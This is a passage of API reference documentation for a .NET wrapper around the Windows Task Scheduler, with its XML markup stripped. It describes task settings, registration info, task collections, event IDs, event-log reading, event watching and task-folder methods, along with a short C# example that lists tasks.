valid index in the . + The is read-only. + + + Enumerates the privileges set for a principal under version 1.3 of the Task Scheduler. + + + Gets the element in the collection at the current position of the enumerator. + The element in the collection at the current position of the enumerator. + + + Performs application-defined tasks associated with freeing, releasing, or resetting unmanaged resources. + + + Advances the enumerator to the next element of the collection. + + true if the enumerator was successfully advanced to the next element; false if the enumerator has passed the end of the collection. + + The collection was modified after the enumerator was created. + + + Sets the enumerator to its initial position, which is before the first element in the collection. + The collection was modified after the enumerator was created. + + + + Provides the administrative information that can be used to describe the task. This information includes details such as a + description of the task, the author of the task, the date the task is registered, and the security descriptor of the task. + + + + Occurs when a property value changes. + + + Gets or sets the author of the task. + + + Gets or sets the date and time when the task is registered. + + + Gets or sets the description of the task. + + + Gets or sets any additional documentation for the task. + + + Gets or sets the security descriptor of the task. + The security descriptor. + + + Gets or sets the security descriptor of the task. + Not supported under Task Scheduler 1.0. + + + + Gets or sets where the task originated from. For example, a task may originate from a component, service, application, or user. + + + + Gets or sets the URI of the task. + + Note: Breaking change in version 2.0. This property was previously of type . It was found that in + Windows 8, many of the native tasks use this property in a string format rather than in a URI format. + + + + Gets or sets the version number of the task. + + + Gets or sets an XML-formatted version of the registration information for the task. + + + Releases all resources used by this class. + + + Returns a that represents this instance. + A that represents this instance. + + + Called when a property has changed to notify any attached elements. + Name of the property. + + + Provides the settings that the Task Scheduler service uses to perform the task. + + + Occurs when a property value changes. + + + + Gets or sets a Boolean value that indicates that the task can be started by using either the Run command or the Context menu. + + Not supported under Task Scheduler 1.0. + + + Gets or sets a Boolean value that indicates that the task may be terminated by using TerminateProcess. + Not supported under Task Scheduler 1.0. + + + Gets or sets an integer value that indicates which version of Task Scheduler a task is compatible with. + Not supported under Task Scheduler 1.0. + + + + Gets or sets the amount of time that the Task Scheduler will wait before deleting the task after it expires. If no value is + specified for this property, then the Task Scheduler service will not delete the task. + + + Gets and sets the amount of time that the Task Scheduler will wait before deleting the task after it expires. A TimeSpan value + of 1 second indicates the task is set to delete when done. A value of TimeSpan.Zero indicates that the task should not be deleted. + + + A task expires after the end boundary has been exceeded for all triggers associated with the task. The end boundary for a + trigger is specified by the EndBoundary property of all trigger types. + + + + + Gets or sets a Boolean value that indicates that the task will not be started if the computer is running on battery power. + + + + + Gets or sets a Boolean value that indicates that the task will not be started if the task is triggered to run in a Remote + Applications Integrated Locally (RAIL) session. + + Property set for a task on a Task Scheduler version prior to 2.1. + + + + Gets or sets a Boolean value that indicates that the task is enabled. The task can be performed only when this setting is TRUE. + + + + + Gets or sets the amount of time that is allowed to complete the task. By default, a task will be stopped 72 hours after it + starts to run. + + + The amount of time that is allowed to complete the task. When this parameter is set to , the + execution time limit is infinite. + + + If a task is started on demand, the ExecutionTimeLimit setting is bypassed. Therefore, a task that is started on demand will not + be terminated if it exceeds the ExecutionTimeLimit. + + + + Gets or sets a Boolean value that indicates that the task will not be visible in the UI by default. + + + Gets or sets the information that the Task Scheduler uses during Automatic maintenance. + + + Gets or sets the policy that defines how the Task Scheduler handles multiple instances of the task. + Not supported under Task Scheduler 1.0. + + + Gets or sets the priority level of the task. + The priority. + Value set to AboveNormal or BelowNormal on Task Scheduler 1.0. + + + Gets or sets the number of times that the Task Scheduler will attempt to restart the task. + + The number of times that the Task Scheduler will attempt to restart the task. If this property is set, the property must also be set. + + Not supported under Task Scheduler 1.0. + + + Gets or sets a value that specifies how long the Task Scheduler will attempt to restart the task. + + A value that specifies how long the Task Scheduler will attempt to restart the task. If this property is set, the property must also be set. The maximum time allowed is 31 days, and the minimum time allowed is 1 minute. + + Not supported under Task Scheduler 1.0. + + + + Gets or sets a Boolean value that indicates that the Task Scheduler will run the task only if the computer is in an idle condition. + + + + + Gets or sets a Boolean value that indicates that the Task Scheduler will run the task only if the user is logged on (v1.0 only) + + Property set for a task on a Task Scheduler version other than 1.0. + + + Gets or sets a Boolean value that indicates that the Task Scheduler will run the task only when a network is available. + + + + Gets or sets a Boolean value that indicates that the Task Scheduler can start the task at any time after its scheduled time has passed. + + Not supported under Task Scheduler 1.0. + + + Gets or sets a Boolean value that indicates that the task will be stopped if the computer switches to battery power. + + + Gets or sets a Boolean value that indicates that the Unified Scheduling Engine will be utilized to run this task. + Property set for a task on a Task Scheduler version prior to 2.1. + + + Gets or sets a boolean value that indicates whether the task is automatically disabled every time Windows starts. + Property set for a task on a Task Scheduler version prior to 2.2. + + + + Gets or sets a Boolean value that indicates that the Task Scheduler will wake the computer when it is time to run the task. + + + + Gets or sets an XML-formatted definition of the task settings. + + + + Gets or sets the information that specifies how the Task Scheduler performs tasks when the computer is in an idle state. + + + + + Gets or sets the network settings object that contains a network profile identifier and name. If the RunOnlyIfNetworkAvailable + property of ITaskSettings is true and a network profile is specified in the NetworkSettings property, then the task will run + only if the specified network profile is available. + + + + Releases all resources used by this class. + + + Returns a that represents this instance. + A that represents this instance. + + + Called when a property has changed to notify any attached elements. + Name of the property. + + + + Collection of running tasks in a . This class has no public constructor and can only be accessed via the + properties and functions within . + + + + Gets the number of registered tasks in the collection. + + + Gets the specified running task from the collection. + The index of the running task to be retrieved. + A instance. + + + Releases all resources used by this class. + + + Gets an IEnumerator instance for this collection. + An enumerator. + + + Returns a that represents this instance. + A that represents this instance. + + + Releases all resources used by this class. + + + + Contains all the tasks that are registered within a . This class has no public constructor and can only be + accessed via the properties and functions within . + + + Potentially breaking change in 1.6.2 and later where under V1 the list previously included the '.job' extension on the task name. + This has been removed so that it is consistent with V2. + + + public class Program + { + bool RootFolderHasTask(string taskName) + { + if (TaskService.Instance.RootFolder.Tasks.Count > 0) + { + return TaskService.Instance.RootFolder.Tasks.Exists(taskName); + } + return false; + } + + TaskCollection GetRootTasksStartingWith(string value) + { + var pattern = $"^{Regex.Escape(value)}.*$"; + return TaskService.Instance.RootFolder.GetTasks(new Regex(pattern)); + } + + public static void Main() + { + foreach (var task in GetRootTasksStartingWith("MyCo")) + if (RootFolderHasTask(task.Name)) + Console.WriteLine(task.Name); + } + } + + + + Gets the number of registered tasks in the collection. + + + Gets or sets the regular expression filter for task names. + The regular expression filter. + + + Gets the specified registered task from the collection. + The index of the registered task to be retrieved. + A instance that contains the requested context. + + + Gets the named registered task from the collection. + The name of the registered task to be retrieved. + A instance that contains the requested context. + + + Releases all resources used by this class. + + + Determines whether the specified task exists. + The name of the task. + true if task exists; otherwise, false. + + + Gets the collection enumerator for the register task collection. + An for this collection. + + + Returns a that represents this instance. + A that represents this instance. + + + Internal constructor + TaskService instance + The filter. + + + Retrieves the current task. See for more information. + + + Releases all resources used by this class. + + + Moves to the next task. See MoveNext for more information. + true if next task found, false if no more tasks. + + + Reset task enumeration. See Reset for more information. + + + + Changes to tasks and the engine that cause events. + + + + Task Scheduler started an instance of a task for a user. + For detailed information, see the documentation for Event ID 100 on TechNet. + + + Task Scheduler failed to start a task for a user. + For detailed information, see the documentation for Event ID 101 on TechNet. + + + Task Scheduler successfully finished an instance of a task for a user. + For detailed information, see the documentation for Event ID 102 on TechNet. + + + Task Scheduler failed to start an instance of a task for a user. + For detailed information, see the documentation for Event ID 103 on TechNet. + + + Task Scheduler failed to log on the user. + For detailed information, see the documentation for Event ID 104 on TechNet. + + + Task Scheduler failed to impersonate a user. + For detailed information, see the documentation for Event ID 105 on TechNet. + + + The a user registered the Task Scheduler a task. + For detailed information, see the documentation for Event ID 106 on TechNet. + + + Task Scheduler launched an instance of a task due to a time trigger. + For detailed information, see the documentation for Event ID 107 on TechNet. + + + Task Scheduler launched an instance of a task due to an event trigger. + For detailed information, see the documentation for Event ID 108 on TechNet. + + + Task Scheduler launched an instance of a task due to a registration trigger. + For detailed information, see the documentation for Event ID 109 on TechNet. + + + Task Scheduler launched an instance of a task for a user. + For detailed information, see the documentation for Event ID 110 on TechNet. + + + Task Scheduler terminated an instance of a task due to exceeding the time allocated for execution, as configured in the task definition. + For detailed information, see the documentation for Event ID 111 on TechNet. + + + Task Scheduler could not start a task because the network was unavailable. Ensure the computer is connected to the required network as specified in the task. + For detailed information, see the documentation for Event ID 112 on TechNet. + + + The Task Scheduler registered the a task, but not all the specified triggers will start the task. Ensure all the task triggers are valid. + For detailed information, see the documentation for Event ID 113 on TechNet. + + + Task Scheduler could not launch a task as scheduled. Instance is started now as required by the configuration option to start the task when available, if the scheduled time is missed. + For detailed information, see the documentation for Event ID 114 on TechNet. + + + Task Scheduler failed to roll back a transaction when updating or deleting a task. + For detailed information, see the documentation for Event ID 115 on TechNet. + + + Task Scheduler saved the configuration for a task, but the credentials used to run the task could not be stored. + For detailed information, see the documentation for Event ID 116 on TechNet. + + + Task Scheduler launched an instance of a task due to an idle condition. + For detailed information, see the documentation for Event ID 117 on TechNet. + + + Task Scheduler launched an instance of a task due to system startup. + For detailed information, see the documentation for Event ID 118 on TechNet. + + + Task Scheduler launched an instance of a task due to a user logon. + For detailed information, see the documentation for Event ID 119 on TechNet. + + + Task Scheduler launched an instance of a task due to a user connecting to the console. + For detailed information, see the documentation for Event ID 120 on TechNet. + + + Task Scheduler launched an instance of a task due to a user disconnecting from the console. + For detailed information, see the documentation for Event ID 121 on TechNet. + + + Task Scheduler launched an instance of a task due to a user remotely connecting. + For detailed information, see the documentation for Event ID 122 on TechNet. + + + Task Scheduler launched an instance of a task due to a user remotely disconnecting. + For detailed information, see the documentation for Event ID 123 on TechNet. + + + Task Scheduler launched an instance of a task due to a user locking the computer. + For detailed information, see the documentation for Event ID 124 on TechNet. + + + Task Scheduler launched an instance of a task due to a user unlocking the computer. + For detailed information, see the documentation for Event ID 125 on TechNet. + + + Task Scheduler failed to execute a task. Task Scheduler is attempting to restart the task. + For detailed information, see the documentation for Event ID 126 on TechNet. + + + Task Scheduler failed to execute a task due to a shutdown race condition. Task Scheduler is attempting to restart the task. + For detailed information, see the documentation for Event ID 127 on TechNet. + + + Task Scheduler did not launch a task because the current time exceeds the configured task end time. + For detailed information, see the documentation for Event ID 128 on TechNet. + + + Task Scheduler launched an instance of a task in a new process. + For detailed information, see the documentation for Event ID 129 on TechNet. + + + The Task Scheduler service failed to start a task due to the service being busy. + For detailed information, see the documentation for Event ID 130 on TechNet. + + + Task Scheduler failed to start a task because the number of tasks in the task queue exceeds the quota currently configured. + For detailed information, see the documentation for Event ID 131 on TechNet. + + + The Task Scheduler task launching queue quota is approaching its preset limit of tasks currently configured. + For detailed information, see the documentation for Event ID 132 on TechNet. + + + Task Scheduler failed to start a task in the task engine for a user. + For detailed information, see the documentation for Event ID 133 on TechNet. + + + Task Engine for a user is approaching its preset limit of tasks. + For detailed information, see the documentation for Event ID 134 on TechNet. + + + Task Scheduler did not launch a task because launch condition not met, machine not idle. + For detailed information, see the documentation for Event ID 135 on TechNet. + + + A user updated Task Scheduler a task + For detailed information, see the documentation for Event ID 140 on TechNet. + + + A user deleted Task Scheduler a task + For detailed information, see the documentation for Event ID 141 on TechNet. + + + A user disabled Task Scheduler a task + For detailed information, see the documentation for Event ID 142 on TechNet. + + + Task Scheduler woke up the computer to run a task. + For detailed information, see the documentation for Event ID 145 on TechNet. + + + Task Scheduler failed to subscribe the event trigger for a task. + For detailed information, see the documentation for Event ID 150 on TechNet. + + + Task Scheduler launched an action in an instance of a task. + For detailed information, see the documentation for Event ID 200 on TechNet. + + + Task Scheduler successfully completed a task instance and action. + For detailed information, see the documentation for Event ID 201 on TechNet. + + + Task Scheduler failed to complete an instance of a task with an action. + For detailed information, see the documentation for Event ID 202 on TechNet. + + + Task Scheduler failed to launch an action in a task instance. + For detailed information, see the documentation for Event ID 203 on TechNet. + + + Task Scheduler failed to retrieve the event triggering values for a task . The event will be ignored. + For detailed information, see the documentation for Event ID 204 on TechNet. + + + Task Scheduler failed to match the pattern of events for a task. The events will be ignored. + For detailed information, see the documentation for Event ID 205 on TechNet. + + + Task Scheduler is shutting down the a task engine. + For detailed information, see the documentation for Event ID 301 on TechNet. + + + Task Scheduler is shutting down the a task engine due to an error. + For detailed information, see the documentation for Event ID 303 on TechNet. + + + Task Scheduler sent a task to a task engine. + For detailed information, see the documentation for Event ID 304 on TechNet. + + + Task Scheduler did not send a task to a task engine. + For detailed information, see the documentation for Event ID 305 on TechNet. + + + For a Task Scheduler task engine, the thread pool failed to process the message. + For detailed information, see the documentation for Event ID 306 on TechNet. + + + The Task Scheduler service failed to connect to a task engine process. + For detailed information, see the documentation for Event ID 307 on TechNet. + + + Task Scheduler connected to a task engine process. + For detailed information, see the documentation for Event ID 308 on TechNet. + + + There are Task Scheduler tasks orphaned during a task engine shutdown. + For detailed information, see the documentation for Event ID 309 on TechNet. + + + Task Scheduler started a task engine process. + For detailed information, see the documentation for Event ID 310 on TechNet. + + + Task Scheduler failed to start a task engine process due to an error. + For detailed information, see the documentation for Event ID 311 on TechNet. + + + Task Scheduler created the Win32 job object for a task engine. + For detailed information, see the documentation for Event ID 312 on TechNet. + + + The Task Scheduler channel is ready to send and receive messages. + For detailed information, see the documentation for Event ID 313 on TechNet. + + + Task Scheduler has no tasks running for a task engine, and the idle timer has started. + For detailed information, see the documentation for Event ID 314 on TechNet. + + + A task engine process failed to connect to the Task Scheduler service. + For detailed information, see the documentation for Event ID 315 on TechNet. + + + A task engine failed to send a message to the Task Scheduler service. + For detailed information, see the documentation for Event ID 316 on TechNet. + + + Task Scheduler started a task engine process. + For detailed information, see the documentation for Event ID 317 on TechNet. + + + Task Scheduler shut down a task engine process. + For detailed information, see the documentation for Event ID 318 on TechNet. + + + A task engine received a message from the Task Scheduler service requesting to launch a task. + For detailed information, see the documentation for Event ID 319 on TechNet. + + + A task engine received a message from the Task Scheduler service requesting to stop a task instance. + For detailed information, see the documentation for Event ID 320 on TechNet. + + + Task Scheduler did not launch a task because an instance of the same task is already running. + For detailed information, see the documentation for Event ID 322 on TechNet. + + + Task Scheduler stopped an instance of a task in order to launch a new instance. + For detailed information, see the documentation for Event ID 323 on TechNet. + + + Task Scheduler queued an instance of a task and will launch it as soon as another instance completes. + For detailed information, see the documentation for Event ID 324 on TechNet. + + + Task Scheduler queued an instance of a task that will launch immediately. + For detailed information, see the documentation for Event ID 325 on TechNet. + + + Task Scheduler did not launch a task because the computer is running on batteries. If launching the task on batteries is required, change the respective flag in the task configuration. + For detailed information, see the documentation for Event ID 326 on TechNet. + + + Task Scheduler stopped an instance of a task because the computer is switching to battery power. + For detailed information, see the documentation for Event ID 327 on TechNet. + + + Task Scheduler stopped an instance of a task because the computer is no longer idle. + For detailed information, see the documentation for Event ID 328 on TechNet. + + + Task Scheduler stopped an instance of a task because the task timed out. + For detailed information, see the documentation for Event ID 329 on TechNet. + + + Task Scheduler stopped an instance of a task as request by a user . + For detailed information, see the documentation for Event ID 330 on TechNet. + + + Task Scheduler will continue to execute an instance of a task even after the designated timeout, due to a failure to create the timeout mechanism. + For detailed information, see the documentation for Event ID 331 on TechNet. + + + Task Scheduler did not launch a task because a user was not logged on when the launching conditions were met. Ensure the user is logged on or change the task definition to allow the task to launch when the user is logged off. + For detailed information, see the documentation for Event ID 332 on TechNet. + + + The Task Scheduler service has started. + For detailed information, see the documentation for Event ID 400 on TechNet. + + + The Task Scheduler service failed to start due to an error. + For detailed information, see the documentation for Event ID 401 on TechNet. + + + Task Scheduler service is shutting down. + For detailed information, see the documentation for Event ID 402 on TechNet. + + + The Task Scheduler service has encountered an error. + For detailed information, see the documentation for Event ID 403 on TechNet. + + + The Task Scheduler service has encountered an RPC initialization error. + For detailed information, see the documentation for Event ID 404 on TechNet. + + + The Task Scheduler service has failed to initialize COM. + For detailed information, see the documentation for Event ID 405 on TechNet. + + + The Task Scheduler service failed to initialize the credentials store. + For detailed information, see the documentation for Event ID 406 on TechNet. + + + Task Scheduler service failed to initialize LSA. + For detailed information, see the documentation for Event ID 407 on TechNet. + + + Task Scheduler service failed to initialize idle state detection module. Idle tasks may not be started as required. + For detailed information, see the documentation for Event ID 408 on TechNet. + + + The Task Scheduler service failed to initialize a time change notification. System time updates may not be picked by the service and task schedules may not be updated. + For detailed information, see the documentation for Event ID 409 on TechNet. + + + Task Scheduler service received a time system change notification. + For detailed information, see the documentation for Event ID 411 on TechNet. + + + Task Scheduler service failed to launch tasks triggered by computer startup. Restart the Task Scheduler service. + For detailed information, see the documentation for Event ID 412 on TechNet. + + + Task Scheduler service started Task Compatibility module. + For detailed information, see the documentation for Event ID 700 on TechNet. + + + Task Scheduler service failed to start Task Compatibility module. Tasks may not be able to register on previous Window versions. + For detailed information, see the documentation for Event ID 701 on TechNet. + + + Task Scheduler failed to initialize the RPC server for starting the Task Compatibility module. Tasks may not be able to register on previous Window versions. + For detailed information, see the documentation for Event ID 702 on TechNet. + + + Task Scheduler failed to initialize Net Schedule API for starting the Task Compatibility module. Tasks may not be able to register on previous Window versions. + For detailed information, see the documentation for Event ID 703 on TechNet. + + + Task Scheduler failed to initialize LSA for starting the Task Compatibility module. Tasks may not be able to register on previous Window versions. + For detailed information, see the documentation for Event ID 704 on TechNet. + + + Task Scheduler failed to start directory monitoring for the Task Compatibility module. + For detailed information, see the documentation for Event ID 705 on TechNet. + + + Task Compatibility module failed to update a task to the required status. + For detailed information, see the documentation for Event ID 706 on TechNet. + + + Task Compatibility module failed to delete a task. + For detailed information, see the documentation for Event ID 707 on TechNet. + + + Task Compatibility module failed to set a security descriptor for a task. + For detailed information, see the documentation for Event ID 708 on TechNet. + + + Task Compatibility module failed to update a task. + For detailed information, see the documentation for Event ID 709 on TechNet. + + + Task Compatibility module failed to upgrade existing tasks. Upgrade will be attempted again next time 'Task Scheduler' service starts. + For detailed information, see the documentation for Event ID 710 on TechNet. + + + Task Compatibility module failed to upgrade NetSchedule account. + For detailed information, see the documentation for Event ID 711 on TechNet. + + + Task Compatibility module failed to read existing store to upgrade tasks. + For detailed information, see the documentation for Event ID 712 on TechNet. + + + Task Compatibility module failed to load a task for upgrade. + For detailed information, see the documentation for Event ID 713 on TechNet. + + + Task Compatibility module failed to register a task for upgrade. + For detailed information, see the documentation for Event ID 714 on TechNet. + + + Task Compatibility module failed to delete LSA store for upgrade. + For detailed information, see the documentation for Event ID 715 on TechNet. + + + Task Compatibility module failed to upgrade existing scheduled tasks. + For detailed information, see the documentation for Event ID 716 on TechNet. + + + Task Compatibility module failed to determine if upgrade is needed. + For detailed information, see the documentation for Event ID 717 on TechNet. + + + Task scheduler was unable to upgrade the credential store from the Beta 2 version. You may need to re-register any tasks that require passwords. + For detailed information, see the documentation for Event ID 718 on TechNet. + + + A unknown value. + + + + Historical event information for a task. This class wraps and extends the class. + + + For events on systems prior to Windows Vista, this class will only have information for the TaskPath, TimeCreated and EventId properties. + + + + + Gets the activity id. This value is null for V1 events. + + + + + An indexer that gets the value of each of the data item values. This value is null for V1 events. + + + The data values. + + + + + Gets the event id. + + + + + Gets the underlying . This value is null for V1 events. + + + + + Gets the from the . + + + The . If not found, returns . + + + + + Gets the level. This value is null for V1 events. + + + + + Gets the op code. This value is null for V1 events. + + + + + Gets the process id. This value is null for V1 events. + + + + + Gets the record id. This value is null for V1 events. + + + + + Gets the task category. This value is null for V1 events. + + + + + Gets the task path. + + + + + Gets the time created. + + + + + Gets the user id. This value is null for V1 events. + + + + + Gets the version. This value is null for V1 events. + + + + + Gets the data value from the task specific event data item list. + + The name of the data element. + Contents of the requested data element if found. null if no value found. + + + + Returns a that represents this instance. + + + A that represents this instance. + + + + + Compares the current object with another object of the same type. + + An object to compare with this object. + + A 32-bit signed integer that indicates the relative order of the objects being compared. The return value has the following meanings: Value Meaning Less than zero This object is less than the other parameter.Zero This object is equal to other. Greater than zero This object is greater than other. + + + + + Get indexer class for data values. + + + + + Gets the value of the specified property name. + + + The value. + + Name of the property. + Value of the specified property name. null if property does not exist. + + + + An enumerator over a task's history of events. + + + + + Gets the element in the collection at the current position of the enumerator. + + + The element in the collection at the current position of the enumerator. + + + + + Gets the element in the collection at the current position of the enumerator. + + + The element in the collection at the current position of the enumerator. + + + + + Performs application-defined tasks associated with freeing, releasing, or resetting unmanaged resources. + + + + + Advances the enumerator to the next element of the collection. + + + true if the enumerator was successfully advanced to the next element; false if the enumerator has passed the end of the collection. + + + The collection was modified after the enumerator was created. + + + + + Sets the enumerator to its initial position, which is before the first element in the collection. + + + The collection was modified after the enumerator was created. + + + + + Seeks the specified bookmark. + + The bookmark. + The offset. + + + + Seeks the specified origin. + + The origin. + The offset. + + + + Historical event log for a task. Only available for Windows Vista and Windows Server 2008 and later systems. + + Many applications have the need to audit the execution of the tasks they supply. To enable this, the library provides the TaskEventLog class that allows for TaskEvent instances to be enumerated. This can be done for single tasks or the entire system. It can also be filtered by specific events or criticality. + + + + + Initializes a new instance of the class. + + The task path. This can be retrieved using the property. + Thrown when instantiated on an OS prior to Windows Vista. + + + + Initializes a new instance of the class. + + Name of the machine. + The task path. This can be retrieved using the property. + The domain. + The user. + The password. + Thrown when instantiated on an OS prior to Windows Vista. + + + + Initializes a new instance of the class that looks at all task events from a specified time. + + The start time. + Name of the task. + Name of the machine (optional). + The domain. + The user. + The password. + + + + Initializes a new instance of the class. + + Name of the task. + The event ids. + The start time. + Name of the machine (optional). + The domain. + The user. + The password. + + + + Initializes a new instance of the class. + + Name of the task. + The event ids. + The levels. + The start time. + Name of the machine (optional). + The domain. + The user. + The password. + + + + Gets the total number of events for this task. + + + + + Gets or sets a value indicating whether this is enabled. + + + true if enabled; otherwise, false. + + + + + Gets or sets a value indicating whether to enumerate in reverse when calling the default enumerator (typically with foreach statement). + + + true if enumerates in reverse (newest to oldest) by default; otherwise, false to enumerate oldest to newest. + + + + + Returns an enumerator that iterates through the collection. + + + A that can be used to iterate through the collection. + + + + + Returns an enumerator that iterates through the collection. + + if set to true reverse. + + A that can be used to iterate through the collection. + + + + + Returns an enumerator that iterates through a collection. + + + An object that can be used to iterate through the collection. + + + + + Information about the task event. + + + + + If possible, gets the task associated with this event. + + + The task or null if unable to retrieve. + + + + + Gets the . + + + The TaskEvent. + + + + + Gets the task name. + + + The task name. + + + + + Gets the task path. + + + The task path. + + + + + Watches system events related to tasks and issues a event when the filtered conditions are met. + Only available for Task Scheduler 2.0 on Windows Vista or Windows Server 2003 and later. + + Sometimes, a developer will need to know about events as they occur. In this case, they can use the TaskEventWatcher component that enables the developer to watch a task, a folder, or the entire system for filtered events. + + Below is information on how to watch a folder for all task events. For a complete example, look at this sample project: TestTaskWatcher.zip + + + + + Initializes a new instance of the class. If other + properties are not set, this will watch for all events for all tasks on the local machine. + + + + + Initializes a new instance of the class watching only + those events for the task with the provided path on the local machine. + + The full path (folders and name) of the task to watch. + The task service. + $Invalid task name: {taskPath} + + + + Initializes a new instance of the class watching only + those events for the specified task. + + The task to watch. + Occurs if the is null. + + + + Initializes a new instance of the class watching only those events for + the tasks whose name matches the in the specified + and optionally all subfolders. + + The task folder to watch. + The filter for task names using standard file system wildcards. Use "*" to include all tasks. + if set to true include events from tasks subfolders. + Occurs if the is null. + + + + Initializes a new instance of the class. + + The task folder to watch. + The filter for task names using standard file system wildcards. Use "*" to include all tasks. + if set to true include events from tasks subfolders. + The task service. + + + + Initializes a new instance of the class on a remote machine. + + Name of the remote machine. + The task path. + The domain of the user account. + The user name with permissions on the remote machine. + The password for the user. + + + + Initializes a new instance of the class on a remote machine. + + Name of the remote machine. + The task path. + The domain of the user account. + The user name with permissions on the remote machine. + The password for the user as a secure string. + + + + Initializes a new instance of the class on a remote machine. + + Name of the remote machine. + The task folder to watch. + The filter for task names using standard file system wildcards. Use "*" to include all tasks. + if set to true include events from tasks subfolders. + The domain of the user account. + The user name with permissions on the remote machine. + The password for the user. + + + + Occurs when a task or the task engine records an event. + + + + + Gets or sets a value indicating whether the component is enabled. + + + true if enabled; otherwise, false. + + + + + Gets the filter for this . + + + The filter. + + + + + Gets or sets the folder to watch. + + + The folder path to watch. This value should include the leading "\" to indicate the root folder. + + Thrown if the folder specified does not exist or contains invalid characters. + + + + Gets or sets a value indicating whether to include events from subfolders when the + property is set. If the property is set, + this property is ignored. + + true if include events from subfolders; otherwise, false. + + + + Gets or sets the synchronizing object. + + + The synchronizing object. + + + + + Gets or sets the name of the computer that is running the Task Scheduler service that the user is connected to. + + + + + Gets or sets the instance associated with this event watcher. Setting this value + will override any values set for , , + , and and set them to those values in the supplied + instance. + + The TaskService. + + + + Gets or sets the user account domain to be used when connecting to the . + + The user account domain. + + + + Gets or sets the user name to be used when connecting to the . + + The user name. + + + + Gets or sets the user password to be used when connecting to the . + + The user password. + + + + Gets a value indicating if watching is available. + + + + + Signals the object that initialization is starting. + + + + + Signals the object that initialization is complete. + + + + + Releases the unmanaged resources used by the FileSystemWatcher and optionally releases the managed resources. + + true to release both managed and unmanaged resources; false to release only unmanaged resources. + + + + Fires the event. + + The sender. + The instance containing the event data. + + + + Holds filter information for a . + + + + + Gets or sets an optional array of event identifiers to use when filtering those events that will fire a event. + + + The array of event identifier filters. All know task event identifiers are declared in the enumeration. + + + + + Gets or sets an optional array of event levels to use when filtering those events that will fire a event. + + + The array of event levels. While event providers can define custom levels, most will use integers defined in the System.Diagnostics.Eventing.Reader.StandardEventLevel enumeration. + + + + + Gets or sets the task name, which can utilize wildcards, to look for when watching a folder. + + A task name or wildcard. + + + + Returns a that represents this instance. + + + A that represents this instance. + + + + + Provides the methods that are used to register (create) tasks in the folder, remove tasks from the folder, and create or remove subfolders from the folder. + + + + + Releases all resources used by this class. + + + + + Gets a which enumerates all the tasks in this and all subfolders. + + + A for all instances. + + + + + Gets the name that is used to identify the folder that contains a task. + + + + + Gets the parent folder of this folder. + + + The parent folder, or null if this folder is the root folder. + + + + + Gets the path to where the folder is stored. + + + + + Gets or sets the security descriptor of the task. + + The security descriptor. + + + + Gets all the subfolders in the folder. + + + + + Gets a collection of all the tasks in the folder. + + + + + Gets or sets the that manages this task. + + The task service. + + + + Compares the current object with another object of the same type. + + An object to compare with this object. + + A value that indicates the relative order of the objects being compared. The return value has the following meanings: Value Meaning Less than zero This object is less than the parameter.Zero This object is equal to . Greater than zero This object is greater than . + + + + + Creates a folder for related tasks. Not available to Task Scheduler 1.0. + + The name used to identify the folder. If "FolderName\SubFolder1\SubFolder2" is specified, the entire folder tree will be created if the folders do not exist. This parameter can be a relative path to the current instance. The root task folder is specified with a backslash (\). An example of a task folder path, under the root task folder, is \MyTaskFolder. The '.' character cannot be used to specify the current task folder and the '..' characters cannot be used to specify the parent task folder in the path. + The security descriptor associated with the folder. + A instance that represents the new subfolder. + + + + Creates a folder for related tasks. Not available to Task Scheduler 1.0. + + The name used to identify the folder. If "FolderName\SubFolder1\SubFolder2" is specified, the entire folder tree will be created if the folders do not exist. This parameter can be a relative path to the current instance. The root task folder is specified with a backslash (\). An example of a task folder path, under the root task folder, is \MyTaskFolder. The '.' character cannot be used to specify the current task folder and the '..' characters cannot be used to specify the parent task folder in the path. + The task security associated with the folder. + A instance that represents the new subfolder. + + + + Creates a folder for related tasks. Not available to Task Scheduler 1.0. + + The name used to identify the folder. If "FolderName\SubFolder1\SubFolder2" is specified, the entire folder tree will be created if the folders do not exist. This parameter can be a relative path to the current instance. The root task folder is specified with a backslash (\). An example of a task folder path, under the root task folder, is \MyTaskFolder. The '.' character cannot be used to specify the current task folder and the '..' characters cannot be used to specify the parent task folder in the path. + The security descriptor associated with the folder. + Set this value to false to avoid having an exception called if the folder already exists. + A instance that represents the new subfolder. + Security descriptor mismatch between specified credentials and credentials on existing folder by same name. + Invalid SDDL form. + Not supported under Task Scheduler 1.0. + + + + Deletes a subfolder from the parent folder. Not available to Task Scheduler 1.0. + + The name of the subfolder to be removed. The root task folder is specified with a backslash (\). This parameter can be a relative path to the folder you want to delete. An example of a task folder path, under the root task folder, is \MyTaskFolder. The '.' character cannot be used to specify the current task folder and the '..' characters cannot be used to specify the parent task folder in the path. + Set this value to false to avoid having an exception called if the folder does not exist. + Not supported under Task Scheduler 1.0. + + + Deletes a task from the folder. + + The name of the task that is specified when the task was registered. The '.' character cannot be used to specify the current task folder and the '..' + characters cannot be used to specify the parent task folder in the path. + + Set this value to false to avoid having an exception called if the task does not exist. + + + Returns an enumerable collection of folders that matches a specified filter and recursion option. + An optional predicate used to filter the returned instances. + Specifies whether the enumeration should include all subfolders. + + An enumerable collection of folders that matches . + If a filter is supplied and filters out a folder, none of its subfolders will be processed, regardless of them + matching the filter. + + + + Returns an enumerable collection of tasks that matches a specified filter and recursion option. + An optional predicate used to filter the returned instances. + Specifies whether the enumeration should include tasks in any subfolders. + An enumerable collection of directories that matches and . + + + Determines whether the specified , is equal to this instance. + The to compare with this instance. + true if the specified is equal to this instance; otherwise, false. + + + + Gets a object that encapsulates the specified type of access control list (ACL) entries for the task described by the + current object. + + A object that encapsulates the access control rules for the current folder. + + + + Gets a object that encapsulates the specified type of access control list (ACL) entries for the task folder described by + the current object. + + + One of the values that specifies which group of access control entries to retrieve. + + A object that encapsulates the access control rules for the current folder. + + + Returns a hash code for this instance. + A hash code for this instance, suitable for use in hashing algorithms and data structures like a hash table. + + + Gets the security descriptor for the folder. Not available to Task Scheduler 1.0. + Section(s) of the security descriptor to return. + The security descriptor for the folder. + + + + Gets the security descriptor for the folder. Not available to Task Scheduler 1.0. + + Section(s) of the security descriptor to return. + The security descriptor for the folder. + Not supported under Task Scheduler 1.0. + + + + Gets a collection of all the tasks in the folder whose name matches the optional . + + The optional name filter expression. + Collection of all matching tasks. + + + Imports a from an XML file. + The task name. If this value is NULL, the task will be registered in the root task folder and the task name will be a GUID value that is created by the Task Scheduler service. A task name cannot begin or end with a space character. The '.' character cannot be used to specify the current task folder and the '..' characters cannot be used to specify the parent task folder in the path. + The file containing the XML-formatted definition of the task. + If set to , overwrites any existing task with the same name. + A instance that represents the new task. + Importing from an XML file is only supported under Task Scheduler 2.0. + + + + Registers (creates) a new task in the folder using XML to define the task. + + The task name. If this value is NULL, 